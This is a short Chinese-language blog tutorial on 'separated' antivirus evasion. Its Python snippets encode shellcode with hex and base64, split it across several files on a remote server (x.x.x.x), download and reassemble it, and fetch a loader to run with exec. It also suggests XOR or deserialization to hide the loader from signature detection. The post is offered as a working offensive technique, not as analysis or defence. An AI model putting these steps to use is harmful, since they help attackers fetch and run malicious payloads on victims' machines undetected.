分离免杀进阶

# 分离免杀进阶

“`python
import base64
a = ‘shellcode’
b = a.encode(‘hex’)
c = base64.b64encode(b)
print(c)
“`

这样我们就把shellcode进行了hex再base64,然后我们再访问服务器上的这段代码。

“`python
scode = requests.get(“http://x.x.x.x/shellcode.txt”)
shellcode = bytearray(base64.b64decode(scode.text).decode(‘hex’))
“`

如果可以访问的就说明没问题了。
但是这里访问的shellcode会不会被检测为恶意代码呢,毕竟只是hex+base64,前面有篇文章使用的base64+rc4加密,已经有部分杀软能检测了,那么我们再想一下其他的操作不被杀软检测。
我们可以将shellcode分为几段代码,然后请求下来以后再进行拼接,杀软目前应该不会进行代码拼接再检测。
我们可以把一开始处理好的shellcode分为几段分别保存为shellcode1.txt、shellcode2.txt,然后全部放到服务器上。
这样我们去加载请求这两个文件,再进行内容拼接。

“`python
scode1 = requests.get(“http://x.x.x.x/shellcode1.txt”)
scode2 = requests.get(“http://x.x.x.x/shellcode2.txt”)
shellcode = bytearray(base64.b64decode(scode1.text+scode2.text).decode(‘hex’))
“`

或者再多分为几段都行。逆向加载就行了
或者用加密方式加密,再进行分段,请求后再拼接解密。
这里同样的可以把loader放在服务器上,使用相同的方法加载然后用exec去执行。
loader如果会被特征查杀的话,就可以参考前面的文章-[绕过杀软的思路](./免杀技巧/分离免杀完整思路.md),将loader进行反序列化,异或等等能混淆杀软的方式都可以。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容